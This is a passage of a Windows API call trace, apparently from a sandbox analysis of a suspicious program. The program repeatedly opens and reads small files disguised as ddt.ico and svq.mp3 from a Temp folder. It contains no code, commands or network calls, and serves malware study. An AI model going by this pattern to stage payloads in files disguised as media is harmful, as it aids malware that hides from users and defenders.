(lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.749] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.749] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.749] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.750] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.750] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.750] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.750] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.750] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.750] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.750] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.750] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.750] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.750] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.750] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.751] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.751] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.751] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.751] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.751] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.751] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.751] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.751] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.751] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.751] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.752] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.752] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.752] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.752] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.752] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.752] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.752] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.752] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.752] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.753] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.753] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.753] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.753] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.753] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.753] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.753] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.754] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.754] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.754] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.754] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.754] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.754] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.754] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.754] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.754] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.754] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.754] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.755] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.755] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.755] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.755] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.755] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.755] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.755] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.755] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.755] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.755] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.755] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.756] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.756] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.756] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.756] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.756] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.756] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.756] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.756] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.756] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.756] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.756] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.757] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.757] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.757] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.757] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.757] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.757] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.757] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.757] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.757] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.757] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.758] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.758] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.758] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.758] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.758] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.758] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.758] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.758] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.758] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.758] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.759] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.759] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.759] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.759] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.759] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.759] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.759] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.759] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.759] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.759] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.759] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.760] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.760] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, 